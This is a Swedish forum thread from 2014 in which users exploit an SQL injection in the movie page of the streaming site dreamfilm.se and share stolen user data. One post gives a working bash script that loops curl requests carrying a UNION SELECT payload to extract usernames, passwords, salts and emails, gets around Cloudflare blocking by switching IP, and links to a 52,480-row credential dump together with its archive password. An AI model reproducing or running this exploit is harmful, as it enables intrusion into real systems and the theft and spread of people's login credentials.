Tack till .Chloe för hjälpen 
http://www.dreamfilm.se/mobile/?page=movie&movie=2379
MySQL >= 5.0 AND error-based
Count of dreamfilm_users is 50696
http://www.dreamfilm.se/mobile/?page=movie&movie=2379
MySQL >= 5.0 AND error-based
- available databases [2]:
- dreamfilm
- information_schema
Count of dreamfilm_users is 50696
__________________
Senast redigerad av M4ts_ 2014-05-11 kl. 08:31.
Senast redigerad av M4ts_ 2014-05-11 kl. 08:31.
Citat:
Och ja, samma veva igen
https://anonfiles.com/file/1ff78333d991e7197b8165c5dad7905c
37k-dump eftersom jag fick 503-error, men ni kan själva plocka ut hela om ni är snabba. email
assword, har inte kollat om det är saltat, det får ni testa själva.
https://anonfiles.com/file/1ff78333d991e7197b8165c5dad7905c
37k-dump eftersom jag fick 503-error, men ni kan själva plocka ut hela om ni är snabba. email
assword, har inte kollat om det är saltat, det får ni testa själva.Det är cloudflare som tror det är en DDOS attack som blockerar efter ett antal requests. Gjorde följande script för att komma runt det:
Kod:
#!/bin/bash
for i in {0..52471..10}
do
curl "http://www.dreamfilm.se/mobile/?page=movie&movie=-1%20union%20select%201,2,3,%28SELECT%20CONCAT%280x242424,%20group_concat%28REPLACE(data,0x40, 0x5b61745d)%29,%200x242424%29%20FROM%20%28%20%20%20%20%20SELECT%20concat%28user_name,0x3a,user_passw ord,0x3a,user_password_salt,0x3a,user_email%29%20as%20data%20FROM%20dreamfilm_users%20%20%20%20LIMIT %2010%20OFFSET%20${i}%20%20%20%29%20as%20t%20%29,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--" > "test/tmp${i}.html"
if ! grep -q '\$\$\$' "test/tmp${i}.html"; then
echo Fucked up, change IP
exit
fi
echo $i
done
När den skriker "Fucked up" får man helt enkelt byta ip och börja från där det krashade.
Det finns en salt-kolumn.
Återkommer med hela dumpen när jag regexat ut den från html-filerna.
Emailen är skyddad av cloudflare. Man "måste" ha javascript för att se den. Förmodligen lätt att komma runt, återkommer då också med en Username -> Email-dump.
Edit:
Larvigt enkelt att komma förbi det där "email-skydded".
REPLACE(email, '@', '[at]')
Did the job. Scriptet ovan ändrat.
Edit2:
Dumpen (52480 rader, det finns redan fler att hämta, lätt med scriptet ovan): https://anonfiles.com/file/33b19115843eb1b7d1515ffbe90f8e07
Password: @Abnormius@
Formatet är:
Username:Password:Salt:Email
__________________
Senast redigerad av Abnormius 2014-05-12 kl. 23:00.
Senast redigerad av Abnormius 2014-05-12 kl. 23:00.
Skapa ett konto eller logga in för att kommentera
Du måste vara medlem för att kunna kommentera